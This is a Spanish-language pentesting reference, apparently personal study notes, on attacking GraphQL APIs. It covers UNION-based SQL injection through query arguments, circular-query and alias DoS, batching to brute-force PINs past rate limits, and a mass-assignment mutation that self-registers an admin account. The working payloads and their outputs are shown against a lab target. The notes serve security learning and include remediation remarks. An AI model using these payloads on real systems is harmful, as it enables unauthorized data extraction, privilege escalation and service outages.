GraphQL — Injection, DoS, Batching & Mutations
Ataques de inyección (SQL Injection a través de argumentos GraphQL)
Los argumentos de una query GraphQL terminan, en el backend, formando parte de una consulta a la base de datos — si no se usan consultas parametrizadas, son tan inyectables como cualquier parámetro tradicional de una API REST.
Enumerar las tablas de la base de datos vía UNION-based SQLi a través del argumento username:
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
username
}
}{
"data": {
"user": {
"username": "secret,user,flag,post"
}
}
}- El resultado de la inyección se filtra a través del campo
usernamede la respuesta — un patrón similar a una inyección UNION clásica reflejada en un campo de una aplicación web tradicional (versqlmap.mdpara la metodología general de SQLi).
Enumerar columnas de una tabla específica identificada en el paso anterior:
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag' AND table_schema=database()-- -") {
username
}
}{
"data": {
"user": {
"username": "id,flag"
}
}
}Extraer los datos finales de la tabla objetivo:
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(id, ',', flag),4,5,6 FROM flag-- -") {
username
}
}{
"data": {
"user": {
"username": "1,FLAG{****}"
}
}
}- Antes de intentar UNION-based, confirmar el número de columnas de la consulta original (con
ORDER BY N-- -incrementandoNhasta generar un error) — el mismo proceso metodológico que en SQLi tradicional, solo que el punto de inyección es un argumento GraphQL en vez de un parámetro de URL/formulario.
Denial-of-Service (DoS)
Dependiendo de la configuración del servidor GraphQL, se pueden construir consultas que generen respuestas exponencialmente grandes con un esfuerzo de escritura mínimo, consumiendo recursos desproporcionados del backend.
Consultas circulares/recursivas
Visualizando el resultado de la introspección (por ejemplo, en GraphQL Voyager — ver graphql_information_disclosure.md), se puede identificar un ciclo de relaciones entre tipos, como UserObject → posts → PostObject → author → UserObject de vuelta:
{
posts {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}Anidando el mismo patrón muchas veces, el tamaño de la respuesta (y el trabajo de resolución en el backend) crece exponencialmente con cada nivel adicional:
{
posts {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}- Este patrón se conoce como "Circular Query DoS" — la mitigación estándar es limitar la profundidad máxima de anidación de queries permitida por el servidor (
query depth limiting), algo que muchas implementaciones no configuran por defecto.
Alias Overloading
Solicitar el mismo campo cientos de veces usando alias distintos en una sola petición, forzando al backend a resolverlo repetidamente:
{
a1: expensiveField
a2: expensiveField
a3: expensiveField
...
a200: expensiveField
}- Cada alias cuenta como una resolución independiente del campo — con suficientes alias, una query "barata" individualmente puede volverse extremadamente costosa en agregado.
Field Duplication
Similar al alias overloading, pero repitiendo literalmente el mismo campo sin alias cientos de veces dentro de la misma selección — algunas implementaciones no deduplican esto antes de ejecutar la resolución.
Batching Attacks
El batching en GraphQL permite ejecutar múltiples queries independientes en una sola petición HTTP, proporcionando una lista JSON de objetos de consulta en vez de un único objeto:
POST /graphql HTTP/1.1
Host: 172.16.75.10
Content-Length: 86
Content-Type: application/json
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]Implicaciones ofensivas del batching
- Bypass de rate limiting: si el rate limiting se aplica por petición HTTP (no por query individual dentro del batch), se pueden empaquetar cientos de intentos de fuerza bruta (por ejemplo, contra un campo de autenticación o un token) en una sola petición, evadiendo el límite por completo.
- Amplificación de DoS: combinar batching con las técnicas de la sección anterior multiplica el impacto — cientos de queries recursivas costosas en una sola petición HTTP.
Ejemplo de batch aplicado a fuerza bruta de un PIN/token corto (combinando el concepto con lo visto en broken_authentication.md):
[
{"query": "{ verifyPin(pin: \"0000\") { valid } }"},
{"query": "{ verifyPin(pin: \"0001\") { valid } }"},
{"query": "{ verifyPin(pin: \"0002\") { valid } }"}
]Mutations
Las mutaciones son el equivalente en GraphQL a las operaciones de escritura (POST/PUT/DELETE en REST): crean, actualizan o eliminan datos en el servidor.
Descubrir mutaciones disponibles
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}{
"data": {
"__schema": {
"mutationType": {
"name": "Mutation",
"fields": [
{
"name": "registerUser",
"args": [
{
"name": "input",
"defaultValue": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "INPUT_OBJECT",
"name": "RegisterUserInput",
"ofType": null
}
}
}
]
}
]
}
}
}
}- Se identifica la mutación
registerUser, que presumiblemente permite crear nuevos usuarios, requiriendo un objetoRegisterUserInputcomo entrada.
Descubrir los campos de entrada requeridos
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}{
"data": {
"__type": {
"name": "RegisterUserInput",
"inputFields": [
{ "name": "username", "description": null, "defaultValue": null },
{ "name": "password", "description": null, "defaultValue": null },
{ "name": "role", "description": null, "defaultValue": null },
{ "name": "msg", "description": null, "defaultValue": null }
]
}
}
}- La presencia de un campo
rolecomo parte del input de registro (no algo que el servidor asigne automáticamente) es la señal de alarma clave: sugiere que el cliente puede autoasignarse un rol arbitrario al registrarse — el patrón exacto de Mass Assignment / Privilege Escalation explotado a continuación.
Registro normal de un usuario
Preparar una contraseña hasheada (según lo que el backend espere — en este ejemplo, MD5):
❯ echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99 -mutation {
registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
user {
username
password
msg
role
}
}
}Explotación: escalada de privilegios vía Mass Assignment
Habiendo confirmado (vía IDOR, ver graphql_idor.md) que existe un usuario con role: "admin", y que la mutación de registro acepta role como campo controlable por el cliente, se puede registrar una cuenta propia directamente con privilegios administrativos:
mutation {
registerUser(input: {username: "hacker", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
user {
username
role
}
}
}{
"data": {
"registerUser": {
"user": {
"username": "hacker",
"role": "admin"
}
}
}
}- Impacto crítico: de no tener ninguna cuenta a tener una cuenta de administrador válida, en un solo paso, sin necesidad de fuerza bruta ni de ningún otro hallazgo previo — solo requiere que la mutación de registro no valide server-side qué valores de
rolepuede autoasignarse un usuario nuevo (la remediación correcta es que el backend ignore/rechace el camporoleen el input de registro y siempre asigne el rol por defecto de forma interna, nunca confiando en el valor enviado por el cliente). - Verificar el acceso resultante contra cualquier endpoint/funcionalidad administrativa identificada previamente (por ejemplo, un panel en
/admin) usando las credenciales recién creadas.
Herramientas
graphql-cop
Escáner automatizado que prueba un conjunto amplio de configuraciones inseguras comunes (introspección habilitada, batching sin límite, alias overloading, CSRF vía GET, etc.) en una sola pasada:
❯ python3 graphql-cop/graphql-cop.py -t http://172.16.75.10/graphql
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)
[HIGH] Array-based Query Batching - Batch queries allowed with 10+ simultaneous queries (Denial of Service - /graphql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)
[MEDIUM] GET Method Query Support - GraphQL queries allowed using the GET method (Possible Cross Site Request Forgery (CSRF) - /graphql)
[LOW] GraphQL IDE - GraphiQL Explorer/Playground Enabled (Information Leakage - /graphql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)
[MEDIUM] POST based url-encoded query (possible CSRF) - GraphQL accepts non-JSON queries over POST (Possible Cross Site Request Forgery - /graphql)- Repositorio: https://github.com/dolevf/graphql-cop
- Ideal como primer paso de reconocimiento automatizado antes de profundizar manualmente en cualquiera de los hallazgos
HIGHreportados. - El hallazgo de "GET Method Query Support" es relevante para CSRF: si GraphQL acepta queries/mutations completas vía parámetros GET, se puede potencialmente forzar una mutación desde un simple
<img src="...">en un sitio malicioso, sin necesidad siquiera de JavaScript.
InQL
Extensión de Burp Suite (disponible en la BApp Store) que agrega una pestaña dedicada para explorar el schema de GraphQL, generar automáticamente todas las queries/mutations posibles a partir de la introspección, y probarlas directamente desde la interfaz de Burp:
- https://github.com/doyensec/inql
- https://github.com/portswigger/inql
- Especialmente útil para generar rápidamente un "diccionario" de todas las queries válidas del schema, que luego se puede enviar a Burp Intruder para pruebas sistemáticas de autorización sobre cada una.
Notas de metodología
- Antes de intentar SQLi manualmente, confirmar si
sqlmappuede apuntarse directamente al endpoint GraphQL (sqlmap -u <url> --data='<json_query>' --method=POSTcon el parámetro de inyección marcado con*) — automatiza gran parte del proceso de enumeración de columnas/tablas visto en este documento. - Documentar los hallazgos de DoS con cautela: ejecutar la query recursiva completa contra un sistema de producción puede causar una interrupción real del servicio — confirmar el alcance/autorización explícita antes de ejecutar variantes agresivas de estas técnicas.
- El hallazgo de Mass Assignment en mutations (rol autoasignable) suele ser el de mayor impacto de toda la superficie GraphQL — priorizar la enumeración de mutations de registro/actualización de perfil tan pronto como se confirme introspección habilitada.